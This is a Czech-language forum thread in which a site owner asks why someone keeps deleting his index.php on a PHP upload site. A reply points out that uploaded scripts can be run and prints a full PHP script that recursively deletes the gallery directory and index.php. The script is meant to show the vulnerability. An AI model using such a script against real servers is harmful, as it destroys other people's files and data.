Jump to content

php Upload stranka


CZskypr

Recommended Posts

jj maš pravdu ale kazliku prosim nemaš nejaku ochranu proti takovim buzikum kteri mi tam mažu celi index.php ?? prosim

Jestli ti mažou index.php, tak máš asi někde v code chybu, takže se ji pokus opravit a máš to.

Link to comment
Share on other sites

a nemuze to bit timto

if(!isset($_GET["act"])) //hl strana

{

necooo

}

else

{

$act = $_GET["act"];

if($act == "gallery") //gallery

{

include("bbbbege/gallery.php");

}

if($act == "bannery") //bannery

{

include("bbbbege/bannery.php");

}

if($act == "kontakt") //kontakt

{

include("bbbbege/kontakt.php");

}

}

?>

Link to comment
Share on other sites

Nemáš ochranu proti spuštění nahráného scriptu.

Takže když na web nahraju php soubor s tímto obsahem, tak jej můžu bez problému spustit

 

<?php
// funkce destroy(); není moje
 
 
define('PATH', '../gallery/');
 
function destroy($dir) {
    $mydir = opendir($dir);
    while(false !== ($file = readdir($mydir))) {
        if($file != "." && $file != "..") {
            chmod($dir.$file, 0777);
            if(is_dir($dir.$file)) {
                chdir('.');
                destroy($dir.$file.'/');
                rmdir($dir.$file) or DIE("couldn't delete $dir$file
");
            }
            else
                unlink($dir.$file) or DIE("couldn't delete $dir$file
");
        }
    }
    closedir($mydir);
}
destroy(PATH);
echo 'all done.'; 
unlink('../index.php');
rmdir('../gallery');
echo "hh";
?>

Link to comment
Share on other sites

maš pravdu stejnak to furt nekdo niči takže na to prdim

kdo chcete dam nebo prodam ten web i z kodama

napište kdo chcete..

 

DIK ZA UPOZORNENI OHLEDNE ENDORI

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...